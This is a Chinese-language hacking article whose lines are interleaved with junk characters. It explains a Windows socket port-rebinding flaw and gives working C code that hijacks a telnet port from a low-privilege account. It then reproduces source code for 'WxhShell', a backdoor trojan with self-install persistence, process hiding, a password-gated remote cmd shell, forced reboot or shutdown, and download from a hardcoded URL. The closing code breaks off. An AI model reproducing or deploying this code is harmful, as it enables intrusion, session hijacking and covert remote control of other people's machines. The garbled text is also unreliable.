在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
G`=r^$.3WB s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
o6kNx>tc) hmbj*8 saddr.sin_family = AF_INET;
AF\T\mtvRm C"T1MTB saddr.sin_addr.s_addr = htonl(INADDR_ANY);
7XrfuG*L$ cvsz%:Vs bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
lVH<lp_ZtK f,i5iSYf 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Zc&&[g >:sUL<p 这意味着什么?意味着可以进行如下的攻击:
tS# `.F~y t6N*6ld2b 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
~89P[$6 5__+_hO
;3 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
X+8B!F |tMn={ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
/x@RNdKv Vsq8H}K 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
DmqX"x%P =V+I=rqo 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
<g8K})P (AY9oei> 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
"L"150Ih {43yb_B( 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Z5G!ct:W kQdt}o]) #include
&7?R+ZGo #include
DsD zkwJE #include
z;u>
Yz+3 #include
JeH;v0 DWORD WINAPI ClientThread(LPVOID lpParam);
t/i5,le int main()
g{s'GyV8t {
UnWW/]E WORD wVersionRequested;
a.F Al@Br DWORD ret;
)8gGv WSADATA wsaData;
sE(HZR1 BOOL val;
8Ad606 SOCKADDR_IN saddr;
%6j)=IOts SOCKADDR_IN scaddr;
d?idTcgs int err;
m"tOe? SOCKET s;
zQy"m-Q SOCKET sc;
{kI#A?M int caddsize;
f}%D"gz HANDLE mt;
)+I.|5g DWORD tid;
ZBD;a;wx wVersionRequested = MAKEWORD( 2, 2 );
R_P}~l err = WSAStartup( wVersionRequested, &wsaData );
iSK+GQ~ if ( err != 0 ) {
D.!~dyI.,$ printf("error!WSAStartup failed!\n");
:
DG)g3# return -1;
H( -Y }
>/f_F6ay# saddr.sin_family = AF_INET;
}|)R
2 mjV~ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
lB8il2& 5,"l0nrk saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
wVs.Vcwr
saddr.sin_port = htons(23);
>r5P3G1 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
`\>.h {
+y+"Fyl printf("error!socket failed!\n");
z~6y+ return -1;
z1OFcqm }
UQCo}vM val = TRUE;
k?nQ?B
W //SO_REUSEADDR选项就是可以实现端口重绑定的
w-B^
[< if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
;d.K_P {
Q }k.JS~# printf("error!setsockopt failed!\n");
8Chj
w wB return -1;
|C \}P }
4fV3Ear=j //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
KP;(Q+qTx //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Huw\&E //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
}'"Gr%jf( PrQ?PvA<L if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
vEM(bT=H {
Zx }&c |Q ret=GetLastError();
D:\ g,\Z printf("error!bind failed!\n");
/h2b;" return -1;
%3;Fgk y }
!4"sX+z9 listen(s,2);
fpyz' while(1)
]36sZ
* {
qr\!*\9 caddsize = sizeof(scaddr);
t,)N('m}= //接受连接请求
bZ_mYyBh sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
<<A`aU^fX if(sc!=INVALID_SOCKET)
Wx'Kp+9' {
jo+w> mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
| aQ"3d if(mt==NULL)
EUYCcL'G {
_:n b&B printf("Thread Creat Failed!\n");
Gm`}(;(A break;
FUK3)lT }
WnFG{S{s }
!33#. @[ CloseHandle(mt);
gCd`pi
8 }
`[#x_<\t closesocket(s);
07T70[G WSACleanup();
[36,eK return 0;
u]^N&2UW }
Wm'QP4` DWORD WINAPI ClientThread(LPVOID lpParam)
Dz=k7zRg" {
&}mw'_ I SOCKET ss = (SOCKET)lpParam;
(oK^c-x SOCKET sc;
aFiCZHohw unsigned char buf[4096];
r9 y.i(j SOCKADDR_IN saddr;
kyh_9K1 long num;
_zxLwU1(x DWORD val;
ulHn#) DWORD ret;
4Q=ftY< //如果是隐藏端口应用的话,可以在此处加一些判断
3Rg}+[b
//如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
fyz
nuUl saddr.sin_family = AF_INET;
/NT[ETMk+ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
@(``:)Z<b saddr.sin_port = htons(23);
3XiO@jzre if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
a>4uiFiv {
2g*J printf("error!socket failed!\n");
'J*<iA*W return -1;
BIaDY<j90 }
ln*icaDqf val = 100;
~sQjl] if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
?zJpD8e {
fqz28aHh ret = GetLastError();
C`rLj5E% return -1;
Oh.ZPG= }
WlB'YL-`g if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
$ZPX]2D4B# {
;wiao(t>4N ret = GetLastError();
`?*%$>W#" return -1;
HWns.[ }
V=I"-k}RL if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
HC {XX>F^ {
+^aFs S printf("error!socket connect failed!\n");
$VG*q closesocket(sc);
B(k=oXDF closesocket(ss);
wmNHT _ return -1;
_s,ao'/ }
wo2@hav while(1)
`i,_aFB| {
zHWSE7! //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
?B@;QjhjiJ //如果是嗅探内容的话,可以再此处进行内容分析和记录
mN`YuR~ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
i[C~5}% num = recv(ss,buf,4096,0);
'PZ|:9FX! if(num>0)
9DQ)cy send(sc,buf,num,0);
{",MCu_V else if(num==0)
2 gq$C" break;
{s?M*_{| num = recv(sc,buf,4096,0);
ivO/;)=t if(num>0)
dCYCHHHF send(ss,buf,num,0);
%Kh4m7 else if(num==0)
8rZ!ia! break;
JG`Q;K }
<E;pgw! closesocket(ss);
seFGJfN\?f closesocket(sc);
D'<VYl"/ return 0 ;
l@j.hTO< }
vgIpj3u %z]U LEYrZ i
LBvGZ<9 ==========================================================
+.B<Hd U=Y)V% 下边附上一个代码,,WXhSHELL
1[F3 Z sRVIH A, ==========================================================
Z#d&|5Xj ?rVy2! #include "stdafx.h"
eO=s-]mk 6dH }]~a #include <stdio.h>
tbo>%kn #include <string.h>
Xy ,lA4IP #include <windows.h>
}_tl n #include <winsock2.h>
`cz2DR-" #include <winsvc.h>
j*@l"V>~ #include <urlmon.h>
[sV"ws 2Q7R6*<N: #pragma comment (lib, "Ws2_32.lib")
<F7kh[L_x #pragma comment (lib, "urlmon.lib")
<`X"}I3ba t9
\x%=
#define MAX_USER 100 // 最大客户端连接数
"eWk#/ #define BUF_SOCK 200 // sock buffer
=.<@`1 #define KEY_BUFF 255 // 输入 buffer
i!2TH~zl oeSN9O #define REBOOT 0 // 重启
qL6c`(0 #define SHUTDOWN 1 // 关机
'mCe=Y 2=0DCF;Bv #define DEF_PORT 5000 // 监听端口
A,-6|&F UrlM%Jnq1 #define REG_LEN 16 // 注册表键长度
S0h'50WteJ #define SVC_LEN 80 // NT服务名长度
1sE?YJP- ,)+o // 从dll定义API
_8fr6tO+ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
)C(>H93 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
NqHy%'R typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
{_N,=DQ! typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
vE6mOM!_L ~0$NJrUy // wxhshell配置信息
-\ZcOXpMx= struct WSCFG {
5*PYT=p} int ws_port; // 监听端口
`0H g y= char ws_passstr[REG_LEN]; // 口令
c$S{^IQ int ws_autoins; // 安装标记, 1=yes 0=no
cEW0;\$ char ws_regname[REG_LEN]; // 注册表键名
2M<R(W!& char ws_svcname[REG_LEN]; // 服务名
wS+V]`b char ws_svcdisp[SVC_LEN]; // 服务显示名
<H3ezv1M char ws_svcdesc[SVC_LEN]; // 服务描述信息
q/3ziVd7p char ws_passmsg[SVC_LEN]; // 密码输入提示信息
TlAR.cV int ws_downexe; // 下载执行标记, 1=yes 0=no
84HUBud76Y char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
"q}FPJ^l_N char ws_filenam[SVC_LEN]; // 下载后保存的文件名
bawJ$_O_ "xcX'F^ };
N#V.1<Y m^' uipa\ // default Wxhshell configuration
1"8yLvtn struct WSCFG wscfg={DEF_PORT,
:(dHY "xuhuanlingzhe",
a8u9aEB 1,
J]W5[)L "Wxhshell",
<9ig?{' "Wxhshell",
CO-_ea U( "WxhShell Service",
U~{du;\ "Wrsky Windows CmdShell Service",
nKR{ug>I) "Please Input Your Password: ",
4v
p 1,
hPq%Lc "
http://www.wrsky.com/wxhshell.exe",
kdz=ltw "Wxhshell.exe"
-?]W*f };
$,I q;*7N O/:UJ( e{ // 消息定义模块
!-s!f&_ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
$'W}aER char *msg_ws_prompt="\n\r? for help\n\r#>";
bNT9 H`P char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
umz;F char *msg_ws_ext="\n\rExit.";
01!s"wjf char *msg_ws_end="\n\rQuit.";
|+ N5z char *msg_ws_boot="\n\rReboot...";
( mxT2"fC char *msg_ws_poff="\n\rShutdown...";
&DqE{bBd! char *msg_ws_down="\n\rSave to ";
&`b
"a! u66XN^ char *msg_ws_err="\n\rErr!";
Bq/:Nd[y char *msg_ws_ok="\n\rOK!";
IH$0)g;s f3`7tA char ExeFile[MAX_PATH];
}@if6(0 int nUser = 0;
+C7 ~b~ % HANDLE handles[MAX_USER];
UR:aD_h int OsIsNt;
{M,,npl hdTzCfeZ5@ SERVICE_STATUS serviceStatus;
k
X {0y SERVICE_STATUS_HANDLE hServiceStatusHandle;
Nn>'^KZNG ^
9!!;) // 函数声明
JNcYJ[wqv int Install(void);
Q)"A-"y int Uninstall(void);
&.TTJsKG h int DownloadFile(char *sURL, SOCKET wsh);
U%0Ty|$Y int Boot(int flag);
gGfoO[B void HideProc(void);
UH7jP#W%= int GetOsVer(void);
Z{?G.L*/ int Wxhshell(SOCKET wsl);
y
qtKy void TalkWithClient(void *cs);
Jk,;JQ int CmdShell(SOCKET sock);
(8_\^jJ int StartFromService(void);
h6dPO" int StartWxhshell(LPSTR lpCmdLine);
ETs>`#`6o r$)w7Gk< VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
">?vir^ VOID WINAPI NTServiceHandler( DWORD fdwControl );
%`Z!4L NnVnUgx // 数据结构和表定义
~
T>U SERVICE_TABLE_ENTRY DispatchTable[] =
phO;c;y} {
`y+tf?QN {wscfg.ws_svcname, NTServiceMain},
hy|b6wF& {NULL, NULL}
Z`YJBcXR };
}i!J/tJ)b 0p89: I*0 // 自我安装
UA|u U5Q int Install(void)
HSq}7S&U {
A 7[:5$ char svExeFile[MAX_PATH];
Cu6%h>@K$ HKEY key;
$1SUU F\. strcpy(svExeFile,ExeFile);
uwlr9nB \d::l{VB // 如果是win9x系统,修改注册表设为自启动
cX3l t5 if(!OsIsNt) {
HaIM#R32T if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
<$JaWL RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
(XoH,K?{z RegCloseKey(key);
7g_]mG[6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
37}D9:#5C RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
k5]j.V2f RegCloseKey(key);
4`,j =3 return 0;
^j7azn }
$\9~)Rq6 }
,0LU~AGe
}
&c1A*Pl/:G else {
->N8#XH2= ;J7F J3n // 如果是NT以上系统,安装为系统服务
R
LD`O9#j SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
)m. 4i =X if (schSCManager!=0)
4WK3.6GN {
W5R\Q,x6 SC_HANDLE schService = CreateService
q:g2Zc'Y~W (
=G]@+e schSCManager,
Dwzg/F( wscfg.ws_svcname,
j1(D]Z=\ wscfg.ws_svcdisp,
%Rsp;1Z SERVICE_ALL_ACCESS,
G+F:99A SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
{26ONa#i SERVICE_AUTO_START,
B/n[m@O SERVICE_ERROR_NORMAL,
#^]n0! svExeFile,
C"{k7yT NULL,
&ot/nQQ NULL,
1x,tu}<u^ NULL,
&y#r;L<9 NULL,
\J6j38D5 NULL
."Y
e\>k );
E6 WA}_ if (schService!=0)
1m .W< {
'g{9@PkGn CloseServiceHandle(schService);
T'~!9Q CloseServiceHandle(schSCManager);
<'g:T(t strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
CoA6 strcat(svExeFile,wscfg.ws_svcname);
%!1Q P[}K if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
GDuMY\1 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
&@3H%DP}Ql RegCloseKey(key);
-!
K-Htb- return 0;
Zcc9e03 }
[0D
Et }
x|5k<CiA CloseServiceHandle(schSCManager);
CH<E,Z
C1T }
Ggb5K8D* }
SZXY/~=h Z@$8I{}G return 1;
B9J&=6`) }
_x5 3g
A a.zpp'cEb // 自我卸载
%x}
O1yV int Uninstall(void)
&kpwo ) {
Alxx[l\<J HKEY key;
QMpoa5ZQG lO_UPC\@fw if(!OsIsNt) {
a 7,C>%I if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
0/oyf]HR RegDeleteValue(key,wscfg.ws_regname);
PKzyV ; RegCloseKey(key);
5O6hxcMjT if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
,YMp<C RegDeleteValue(key,wscfg.ws_regname);
=7o"u3hG RegCloseKey(key);
`{xNXH]@ return 0;
_> *jH' }
~7Tc$
"I }
8M`#pN^ }
>:|q&|x- else {
>lIk9| q+vx_4 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
x3"#POp if (schSCManager!=0)
oGRhnP'PF+ {
S9",d~EM SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
;{%\9nS if (schService!=0)
ksN+?E4w {
=Fr(9( if(DeleteService(schService)!=0) {
9b*nLyYVz CloseServiceHandle(schService);
Q(oN/y3, CloseServiceHandle(schSCManager);
~7zGI\=P@ return 0;
=HlQ36;* }
Z7?~S2{c CloseServiceHandle(schService);
pn5Q5xc }
3z&Fi;<+j CloseServiceHandle(schSCManager);
}dd8N5b }
cu/5$m?xx }
B,=H@[Fj W!>.$4Q9 return 1;
HI11Jl}{ }
D'Y-6W3 AQiwugs // 从指定url下载文件
]3l 9:| int DownloadFile(char *sURL, SOCKET wsh)
N/K.%<h {
EG=Sl~~o HRESULT hr;
PJL=$gBgKk char seps[]= "/";
AQ[GO6$,%H char *token;
A"rfZ` char *file;
yLQ*"sw\ char myURL[MAX_PATH];
/
:n#`o=; char myFILE[MAX_PATH];
rMhB9zB1 Gvr@|{k strcpy(myURL,sURL);
I\$X/t +dH token=strtok(myURL,seps);
h9G RI while(token!=NULL)
~,B5Hc 2 {
-3=#u_ file=token;
q;][5 token=strtok(NULL,seps);
xM&Wgei]10 }
/VN f{p CyXRi}W. GetCurrentDirectory(MAX_PATH,myFILE);
v63"^%LX strcat(myFILE, "\\");
EKsT~SS strcat(myFILE, file);
0p}D(m2B send(wsh,myFILE,strlen(myFILE),0);
ikvWh<=>H send(wsh,"...",3,0);
=t H:,SH hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
GfmI<{da if(hr==S_OK)
U_n9]Z return 0;
I
,z3xU else
\}"$ ?d'f return 1;
e(GP^oK t_$2CRG# }
Yd=>K HVD s)6U_ // 系统电源模块
ov_j4j>6P int Boot(int flag)
8)10o,#L {
w"cZHm HANDLE hToken;
|w<H!lGe!$ TOKEN_PRIVILEGES tkp;
g|vNhq0|i M$>1L if(OsIsNt) {
ZOeQ+j)|I OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
#0P$M!% LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
noml8o tkp.PrivilegeCount = 1;
z4jR[x, tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
ECrex>zr% AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
A|X">,A if(flag==REBOOT) {
+~mA}psr if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
'kL#] return 0;
0+kH:dP{ }
<FcG
oGK else {
=,_ +0M9 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
OHb[qX\ return 0;
?&63#B,iZ }
Rld!,t }
y}My.c else {
D*gFV{Ws if(flag==REBOOT) {
gT0BkwIV if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
4,CXJ2 return 0;
FtfKe"qw }
->y J5smtY else {
7!EBH(,z if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
['B?i1 . return 0;
+wN^c#~7 }
gy 3i+J }
M42Ssn) X\@C.H2ttY return 1;
s'E2P[: }
{f2S/$q vdx0i&RiL // win9x进程隐藏模块
=u2l.CX void HideProc(void)
Jrti
cK$ {
*E/`KUG] &]v4@%<J HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
r&R B9S@*h if ( hKernel != NULL )
)FF>IFHG {
LcSX *MC pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
ES.fOdx ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
mKL<<L[ FreeLibrary(hKernel);
7=TF.TW)
}
.TND a& /%}*Xh return;
F+,~v- }
0=* 8
Bm.:^:&k // 获取操作系统版本
K1r#8Q!t int GetOsVer(void)
E:JJ3X| {
E9Np 0M< OSVERSIONINFO winfo;
Rs-]N1V winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
1zm ulj%& GetVersionEx(&winfo);
tiB_a}5IB if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
3DiLk=\~ return 1;
!}v=N";c else
9[b<5Llt return 0;
-Zf@VW,NI }
Xjo5v*P u <>s`\ % // 客户端句柄模块
~P8tUhffK int Wxhshell(SOCKET wsl)
`k[-M2[ {
3D!5T8 @ SOCKET wsh;
L;VoJf struct sockaddr_in client;
QDs^Ije DWORD myID;
\
e\?I9 uD1e!oU while(nUser<MAX_USER)
87<-kV {
@&%'4j&+ int nSize=sizeof(client);
q qpgy7 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
y.e^h RKb if(wsh==INVALID_SOCKET) return 1;
"U!AlZ`g ])|d"[ur= handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Cdas P9"1 if(handles[nUser]==0)
U=DmsnD, closesocket(wsh);
{5%5}[/x else
IE;~?W" nUser++;
WF1px % }
7ePqmB<. WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
U*(izD U}6.h&$ return 0;
0y
7"SiFY }
AvxfI"sp ]l1\? I // 关闭 socket
|zQ4u void CloseIt(SOCKET wsh)
ap&?r`Tu {
OUeyklw closesocket(wsh);
W%T>SpFl nUser--;
[q/Abz'i ExitThread(0);
9Wnn'T@Tl }
gZLP\_CL .q
`Hjmg< // 客户端请求句柄
ZAv,*5&< void TalkWithClient(void *cs)
Fs{x(_LOr {
Cnbz=z _AQb6Nb
SOCKET wsh=(SOCKET)cs;
.QA }u ,EN char pwd[SVC_LEN];
1u:
gFUb char cmd[KEY_BUFF];
NWM8[dI char chr[1];
Svondc
4 int i,j;
SS$[VV ]|MEx{BG- while (nUser < MAX_USER) {
^C_#<m_k [x9KVd ^d if(wscfg.ws_passstr) {
3):A if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
t.laO. 3 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
9?0^ap,T //ZeroMemory(pwd,KEY_BUFF);
I_<I&{N> i=0;
-7S g62THS while(i<SVC_LEN) {
KVD8YfF +6';1Nb@ // 设置超时
A9wh(P0\ fd_set FdRead;
cm?\
-[cV struct timeval TimeOut;
_(h&7P9 FD_ZERO(&FdRead);
,=Mt`aN FD_SET(wsh,&FdRead);
xL{a TimeOut.tv_sec=8;
5qr'.m TimeOut.tv_usec=0;
rcMwFE?|xq int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
TMig-y*[ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
"f "6]y So0f)`A if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
H`0|tepz pwd
=chr[0]; S4G^z}{_
if(chr[0]==0xd || chr[0]==0xa) { 7T1=q{#M
pwd=0; ;j^H)."A\
break; #`o2Z
} ~y/
nlb!
i++; S"xKL{5
} 89o/F+ _b
;
mZW{j
// 如果是非法用户,关闭 socket ;~D)~=|ZZ
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); VzY8rI
} W3 'q\+
!t gi
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]=>F.GE
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1(|'WyD
mGJasn
while(1) { BFo5\l:q8
P@9t;dZN
ZeroMemory(cmd,KEY_BUFF); {&\jW!&n
kzt(i Y_6
// 自动支持客户端 telnet标准 #6+@M
j=0; 5 N#3a0)
while(j<KEY_BUFF) { QNpqdwu%h
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X)7x<?DAy
cmd[j]=chr[0]; gK[YQXfTy
if(chr[0]==0xa || chr[0]==0xd) { OH">b6>\
cmd[j]=0; Hm%;=`:'
break; Tl2C^j
} 0V'nK V"|
j++; L{h%f4Du#
} 2T V X)q<\
xwJH(_-
// 下载文件 T>R0T{A
if(strstr(cmd,"http://")) { yIDD@j=l
send(wsh,msg_ws_down,strlen(msg_ws_down),0); `bZ/haU}A
if(DownloadFile(cmd,wsh)) L5
veX}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); E|6VX4`+
else IE9XU9Kd
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E
,|xJjh
} =jX8.K4]
else { Aq0S-HKF
}M3fmAP}
switch(cmd[0]) { v?&
-xH-S
c@/(B:@
// 帮助 Q4f/Z
case '?': { <;#~l*
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n~A%q,DmF
break; `"&da#N]
} W!?7D0q
// 安装 iy 14mh\ ~
case 'i': { Y6Lf@}2(i
if(Install()) X&0 uI*r
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
?sMP~RHQ
else 8;Yx<woR
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BPdfYu,il
break; D (h18
} ,0hA'cp
// 卸载 20Z8HwQi
case 'r': { u"d~!j1
if(Uninstall()) { Fawt:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ub;ZtsM,%
else "QWq_R
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2UFv9
break; ?zQA
} wYQ&C{D%
// 显示 wxhshell 所在路径 4)U.5FBk
)
case 'p': { 8AnP7}n;?'
char svExeFile[MAX_PATH]; A9kzq_3
strcpy(svExeFile,"\n\r"); WV #%PJ
strcat(svExeFile,ExeFile); w0C~*fn3l
send(wsh,svExeFile,strlen(svExeFile),0); rxy&spX
break; Dg}
Ka7H
} Pri`K/
// 重启 D;_ MPN[
case 'b': { aEWWFN
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?_Q/}@`
if(Boot(REBOOT)) &&VqD
w
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <_XWWT%
else { `g6h9GC6
closesocket(wsh); =Q[b'*o7
ExitThread(0); R8T]2?Q1
} hWT[L.>k
break; ;d'Z|H;
} |"9 #bU
// 关机 Xa[?^P
case 'd': { :P@rkT3Q t
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6p?JAT5
if(Boot(SHUTDOWN)) FN%m0"/Z{t
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @$2))g`
else { !Z5[QNVaV
closesocket(wsh); Ce")[<:
ExitThread(0); Vw&HVo
} HH@qz2 w
break; +C(/Lyo}
} `A,g] 1C:
// 获取shell o`q_wdy?
case 's': { A^2Uzmzl?
CmdShell(wsh); K
a(J52
closesocket(wsh); &2=dNREJ}1
ExitThread(0); ZU9c 5/J
break; GR"Eas.$
} f}@jFhr'<
// 退出 Q]w&N30
case 'x': { <@Fy5k-%.
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @bnG:np
CloseIt(wsh); Gsc\/4Wx
break; =l0Jb#d
} r@o6voX
// 离开 sqS=qC
case 'q': { -pE(_
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y"6w,_'m
closesocket(wsh); UEzb^(8>
WSACleanup(); = 07]z@s
exit(1); `r_m+]
break; wprX!)w<i
} AT\qiznvP
} /De^
} }h}<!s
X2xuwA
// 提示信息 1<<kA:d
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J-<^P5
} fI7j):h;
} wV)}a5+
ee/&/Gt
return; wHem5E
} zP;cTF(C
[*Z`Kc
// shell模块句柄 7lo|dg80
int CmdShell(SOCKET sock) ~-83Q5/[
{ ,\aUq|~
STARTUPINFO si; tL+OCLF;
ZeroMemory(&si,sizeof(si)); vw)7 !/#
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^t[HoFRa
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *wi}>_\
PROCESS_INFORMATION ProcessInfo; x:t<ZG&Xwg
char cmdline[]="cmd"; ~k'V*ERNSj
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >m_v5K
return 0; dZ:r&Qa
} c#b:3dXx9
\%,&~4
!
// 自身启动模式 5eX59:vtl
int StartFromService(void) v.W{x?5
{ &14W vAU
typedef struct v&3O&y/1v
{ }iIbcA
DWORD ExitStatus; v6e%#=
DWORD PebBaseAddress; NE"jh_m-
DWORD AffinityMask; AH.9A_dG
